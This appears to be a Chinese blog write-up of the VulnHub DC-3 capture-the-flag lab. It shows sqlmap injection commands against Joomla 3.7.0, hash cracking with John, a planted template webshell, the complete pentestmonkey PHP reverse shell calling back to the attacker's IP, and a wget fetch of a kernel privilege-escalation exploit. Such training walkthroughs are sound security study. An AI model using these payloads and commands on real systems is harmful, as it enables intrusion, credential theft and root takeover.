DC-3靶机刷题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1-P5ezyt5hUbmmGMP4EI7kw?pwd=rt2c 
提取码:rt2c 

参考:

  • http://t.csdnimg.cn/hhPi8
  • https://www.vulnhub.com/entry/dc-32,312/ 官网
  • http://t.csdnimg.cn/5mVZ7
  • DC-3 (1).pdf
  • https://c3ting.com/archives/vulnhnbshua-ti—dc-3
  • 【【基础向】超详解vulnhub靶场DC-3-一靶多打】 https://www.bilibili.com/video/BV11a411d78T/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • ChatGPT

image.png

环境搭建

当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
image.png
image.png
描述

DC-3是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。
与以前的DC版本一样,这个版本在设计时考虑到了初学者,尽管这一次只有一个flag,一个入口点,根本没有线索。
Linux技能和对Linux命令行的熟悉程度是必须的,基本的渗透测试工具的一些经验也是必须的。
对于初学者来说,Google可以提供很大的帮助,但你可以随时在@DCAU7上发推文给我,寻求帮助,让你再次前进。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有CTF和Boot2Root挑战经验的人来说,这可能根本不会花费你很长时间(事实上,它可能需要不到20分钟的时间)。
如果是这样的话,如果你希望它成为一个更大的挑战,你可以随时重做挑战,并探索其他获得root和获得flag的方法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.131

1、导入VMware虚拟机

下载完成后,得到DC-3.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机
arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A

# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png
80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

0x04 下载joomscan

image.png


JoomScan是一款用于扫描和评估Joomla内容管理系统(CMS)的安全性的工具。它可以帮助发现潜在的漏洞、配置错误和安全弱点。
JoomScan通过对目标Joomla网站进行自动化扫描,并使用预定义的技术和漏洞检测方法来识别可能存在的问题。它可以检查版本信息、敏感文件泄露、常见漏洞、不安全的配置设置等。
以下是使用JoomScan的基本语法:

joomscan -u <target>

其中:

  • -u选项用于指定要扫描的目标Joomla网站URL。

例如,要使用JoomScan对网站http://example.com进行扫描,可以执行以下命令:

joomscan -u http://example.com

JoomScan将开始扫描目标网站,并报告任何发现的潜在漏洞和安全问题。


0x05查看joomscan版本信息

joomscan -u http://192.168.1.131

image.png
扫描出了cms的版本,还有一些目录和后台登入界面192.168.1.131/administrator/

二:漏洞发现

查看版本漏洞

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南


“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit-DB二进制文件中找到。
如果您预计您将在一个没有Internet的网络环境进行渗透测试,请确保您检查了两个存储库,以获得最完整的数据集。注意,这个工具的名称是“SearchSploit“,顾名思义,它将搜索所有的漏洞和shellcode。它不会包含任何文件和谷歌黑客数据库的结果
安装运行:kali自带searchsploit,其他linux,在github下载tar.gz压缩包,直接运行里边的 searchsploit 执行文件即可
github地址:https://github.com/offensive-security/exploitdb
终端输入searchsploit启动(已经默认在Kali/Parrot中安装)


searchsploit joomla 3.7.0

image.png
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/**php/webapps/42033.txt**
直接查看一下
cat /usr/share/exploitdb/exploits/**php/webapps/42033.txt**
image.png
给出了注入点和Sqlmap的使用方法

三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

--dbs列出所有数据库
image.png
image.png

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表

image.png
image.png
发现敏感users用户表

  • 查看所有列名
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns
表名含有特殊符号,需要用引号包括

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

image.png
image.png

  • 查看用户名与密码字段
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb -T "#__users" -C username,password --dump

image.png
image.png

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明


John介绍及常用命令使用说明_john使用-CSDN博客
John the Ripper(通常简称为John)是一款流行的密码破解工具,专门用于破解密码哈希值。它支持多种密码哈希算法,并使用暴力破解、字典攻击、混合攻击等多种方法来尝试破解密码。
John是一个命令行工具,可以在各种操作系统上运行。它基于已有的密码哈希值(例如Linux系统中的/etc/shadow文件)来进行破解。您需要提供一个包含可能的密码列表(称为字典文件)作为输入,或者使用内置的密码规则和策略来生成密码组合。
以下是使用John的基本语法:

john <hashed_file>

其中:

  • <hashed_file> 是包含密码哈希值的文件路径。

例如,要使用John对密码哈希值文件/etc/shadow进行破解,可以执行以下命令:

john /etc/shadow

John将根据配置的攻击模式和密码破解选项,尝试破解给定的密码哈希值。如果成功找到密码,则会显示在屏幕上。


先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
image.png

识别hash类型并破解
john 1.txt
john --show 1.txt

image.png
所以密码为:snoopy
报错处理:

如何处理哈希密码文件在john时候无法解密的方法

sudo John 文件 —format=crypt

然后再输入

sudo John —show 文件
密码是snoopy,接下来登入后台 192.168.1.131/administrator/

image.png
image.png
image.png
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
image.png
我们可以自己创建一个文件,写入木马 也可以直接反弹shell
image.png
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.1.131/templates/beez3/1.php

访问1.php让其解析,可以执行命令
image.png

接下来试试反弹shell

修改1.php的内容
image.png
将PHP反弹shell代码复制进去

  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '192.168.1.128';  // You have changed this
  $port = 8888;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

首先kali监听8888端口

nc -lvvnp 8888

然后再访问一下1.php让其解析,便可以反弹成功
image.png
但是现在还不是root权限
image.png


可以修改交互

Get交互shell

跟DC-1一样,利用python获取交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口

0x01 查看版本信息

uname -a

image.png

cat /proc/version

image.png


cat /proc/version命令用于查看当前正在运行的Linux操作系统内核的版本信息。
执行该命令时,系统将打开/proc/version文件并将其内容显示在终端上。该文件包含了有关内核版本、编译日期和其他相关信息。


cat /etc/issue

image.png


cat /etc/issue命令用于显示当前操作系统发行版的信息。
执行该命令时,系统将打开/etc/issue文件并将其内容显示在终端上。该文件通常包含了操作系统发行版的名称和版本号等信息。
示例输出可能如下所示:

Ubuntu 16.04 LTS \n \l

输出中包含了操作系统的名称(例如Ubuntu)以及版本号(例如20.04.3 LTS)。\n表示换行,\l表示登录提示符后的字符串。
通过查看/etc/issue文件,您可以快速获取当前操作系统发行版的信息,这对于确认正在使用的操作系统和版本非常有用。


得到操作系统与其版本

搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另外一个终端

searchsploit Ubuntu 16.04

image.png
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
查看一下

cat /usr/share/exploitdb/exploits/linux/local/39772.txt 

image.png
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
上面的无法下载就换下面这个
exp下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载该压缩包并放到kali里,解压该文件,并在改目录下开启HTTP服务,就可以将下载好的文件导入到DC-3靶机里了
image.png
image.png
出现这个说明服务开启成功,exp地址是

http://192.168.1.128:8888/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具
而且要在/var/www/html目录下才有权限下载

www-data@DC-3:/var/www/html$ wget http://192.168.1.128:8888/exploit.tar

image.png
下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

tar -xvf exploit.tar命令用于解压缩(解包).tar格式的文件。在执行该命令时,您需要提供要解压缩的目标文件名。
请注意,在终端中执行该命令之前,请确保您已经位于包含 exploit.tar 文件的目录下。如果不在同一目录下,您需要提供完整的文件路径。
以下是执行 tar -xvf exploit.tar 的示例命令:

tar -xvf exploit.tar

命令中的选项说明:

  • -x 用于解压缩 (extract) 文件。
  • -v 用于显示详细的操作信息 (verbose),让您看到解压的过程。
  • -f 后跟要解压的文件名。

执行该命令后,exploit.tar 将会被解压缩,并且文件中的内容将被提取到当前目录中。
请注意,如果 exploit.tar 是一个压缩文件(如 .tar.gz 或 .tar.bz2),您可能需要使用不同的命令来进行解压缩。具体的命令将根据文件的扩展名而有所不同


接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

image.png
根据原来的39772.txt的提示
执行compile.shdoubleput这两个文件
image.png
执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

image.png

./doubleput

image.png
提权成功!!!
获得root权限
image.png
image.png

也可以用find命令来找flag文件
find / -name *flag*

image.png

总结

这个靶机考察了使用者对于cms的利用手段,hash密文爆破方式,sqlmap的使用方式,对于漏洞的利用能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/335832.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

裸辞后找工作有多难?分享个人经历+面经+学习路线【内含免费下载初级前端面试题】- 回忆我的2023

&#x1f449; 个人博客主页 &#x1f448; &#x1f4dd; 一个努力学习的程序猿 专栏&#xff1a; HTML和CSS JavaScript jQuery Vue Vue3 React TypeScript uni-app Linux 前端面试分享 前端学习方案分享(VitePress、html2canvasjspdf、vuedraggable、videojs) 前端踩坑日记&…

2023年上半年网络工程师真题(2/3)

21.在OSI参考模型中&#xff0c;负责对应用层消息进行压缩&#xff0c;加密功能的层次为&#xff08;C&#xff09;。 A.传输层 B.会话层 C.表示层 D.应用层 表示层。表示层处理的是用户信息的表示问题。端用户(应用进程)之间传送的数据包含语义和语法两个方面。语义是数据…

索引的概述和性能分析

索引index&#xff0c;是一种有序的数据结构&#xff0c;可以高效的获取数据&#xff0c;在数据库中维护着满足查找特定算法的数据结构&#xff0c;就是索引 无索引的情况&#xff0c;查询数据时会全表扫描&#xff0c;效率极低 索引结构 &#xff08;1&#xff09;二叉树&…

flink学习之水位线

什么是水位线 在事件时间语义下&#xff0c;我们不依赖系统时间&#xff0c;而是基于数据自带的时间戳去定义了一个时钟&#xff0c; 用来表示当前时间的进展。于是每个并行子任务都会有一个自己的逻辑时钟&#xff0c;它的前进是靠数 据的时间戳来驱动的。 我们可以把时钟也以…

Linux下MySQL用户管理、权限、密码

一、原理 MySQL的用户管理实质上是对用户表的管理&#xff0c;系统中的数据库mysql存在一张用户表&#xff08;user&#xff09;&#xff0c;所有的用户都在该表内&#xff0c;对用户的管里也就是对该表进行增删查改的操作。 show databases; 如图中的mysql数据库&#xff0c;…

Leetcode 用队列实现栈

题目&#xff1a; 请你仅使用两个队列实现一个后入先出&#xff08;LIFO&#xff09;的栈&#xff0c;并支持普通栈的全部四种操作&#xff08;push、top、pop 和 empty&#xff09;。 实现 MyStack 类&#xff1a; void push(int x) 将元素 x 压入栈顶。 int pop() 移除并…

2024/1/20 并查集

目录 并查集关键代码 亲戚 村村通 团伙&#xff08;新知识&#xff09; 并查集关键代码 返回祖宗节点路径压缩&#xff1a; int find(int x) {if(f[x]!x) f[x]find(f[x]);return f[x]; } 合并&#xff1a; void make(int x,int y) {int f1find(f[x]);int f2find(f[y]);…

69.使用Go标准库compress/gzip压缩数据存入Redis避免BigKey

文章目录 一&#xff1a;简介二&#xff1a;Go标准库compress/gzip包介绍ConstantsVariablestype Headertype Reader 三&#xff1a;代码实践1、压缩与解压工具包2、单元测试3、为何压缩后还要用base64编码 代码地址&#xff1a; https://gitee.com/lymgoforIT/golang-trick/t…

图像分割实战-系列教程15:deeplabV3+ VOC分割实战3-------网络结构1

&#x1f341;&#x1f341;&#x1f341;图像分割实战-系列教程 总目录 有任何问题欢迎在下面留言 本篇文章的代码运行界面均在Pycharm中进行 本篇文章配套的代码资源已经上传 deeplab系列算法概述 deeplabV3 VOC分割实战1 deeplabV3 VOC分割实战2 deeplabV3 VOC分割实战3 dee…

C#中chart控件

C#中chart控件 图表的5大集合 例子 第一步&#xff1a;创建工程 放入chart控件 series集合 选择图标类型 选择绘制曲线的宽度和颜色。 显示数据标签 Title集合 添加标题 调整标题字体&#xff1a;大小和颜色 CharsArea集合 对坐标轴进行说明 设置间隔 设置刻度…

使用Ultimate-SD-Upscale进行图片高清放大

之前我们介绍过StableSR进行图片高清放大&#xff0c;如果调的参数过大&#xff0c;就会出现内存不足的情况&#xff0c;今天我们介绍另外一个进行图片高清放大的神器Ultimate-SD-Upscale&#xff0c;他可以使用较小的内存对图像进行高清放大。下面我们来看看如何使用进行操作。…

Spark读取kafka(流式和批数据)

spark读取kafka&#xff08;批数据处理&#xff09; # 按照偏移量读取kafka数据 from pyspark.sql import SparkSessionss SparkSession.builder.getOrCreate()# spark读取kafka options {# 写kafka配置信息# 指定kafka的连接的broker服务节点信息kafka.bootstrap.servers: n…

无法访问云服务器上部署的Docker容器

说明&#xff1a;记录一次无法访问云服务器上部署的Docker容器的问题。 问题描述 某次&#xff0c;我在云服务器上&#xff0c;使用Docker运行了一个Nginx容器&#xff0c;用公网IP怎么也访问不到。这种情况博主也算有经验&#xff0c;可以从以下几个方面去排查&#xff1a; …

舵机使用总结

文章目录 1 舵机简介2 注意事项3 编写驱动程序3.1 使用STM32作为控制器3.1.1 计算高电平对应程序中的取值范围3.1.2 编写控制程序 1 舵机简介 舵机使用PWM控制&#xff0c;周期为20ms&#xff0c;通过改变高电平占空比来驱动&#xff0c;高电平通常为1~2ms&#xff08; 或 0.5 …

RabbitMQ系列之入门级

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是君易--鑨&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的博客专栏《RabbitMQ系列之入门级》。&#x1f3af;&#x…

YOLOv8全网首发:新一代高效可形变卷积DCNv4如何做二次创新?高效结合SPPF

💡💡💡本文独家改进:DCNv4更快收敛、更高速度、更高性能,与YOLOv8 SPPF高效结合 收录 YOLOv8原创自研 https://blog.csdn.net/m0_63774211/category_12511737.html?spm=1001.2014.3001.5482 💡💡💡全网独家首发创新(原创),适合paper !!! 💡💡💡…

AOI与AVI:在视觉检测中的不同点和相似点

AOI&#xff08;关注区域&#xff09;和AVI&#xff08;视觉感兴趣区域&#xff09;是视觉检测中常用的两个概念&#xff0c;主要用于识别和分析图像或视频中的特定区域。虽然这两个概念都涉及到注视行为和注意力分配&#xff0c;但它们在定义和实际应用等方面有一些差异。 AOI…

x86-x64汇编语言、反汇编知识和IDA

x86-x64汇编语言 基础知识 x86寄存器&#xff1a; 通用寄存器&#xff1a;EAX, EBX, ECX, EDX, ESI, EDI 栈顶指针寄存器&#xff1a;ESP 栈底指针寄存器&#xff1a;EBP 指令计数器&#xff1a;EIP 段寄存器&#xff1a;CS, DS, ES, FS, GS, SS x86-64寄存器&#xff1a;&a…

2.【C语言】(函数指针||sizeof||笔试题)

0x01.函数指针 void test(const char* str) {printf("%s\n", str); }int main() {void (*pf)(const char*) test;//pf是函数指针变量void (*pfarr[10])(const char*);//pfarr是存放函数指针的数组void (*(*p)[10])(const char*) &pfarr;//p是指向函数指针数组…

Leetcoder Day10|栈与队列part02(栈的应用)

语言&#xff1a;Java/C 目录 20. 有效的括号 1047. 删除字符串中的所有相邻重复项 150. 逆波兰表达式求值 今日总结 20. 有效的括号 给定一个只包括 (&#xff0c;)&#xff0c;{&#xff0c;}&#xff0c;[&#xff0c;] 的字符串&#xff0c;判断字符串是否有效。 有效字…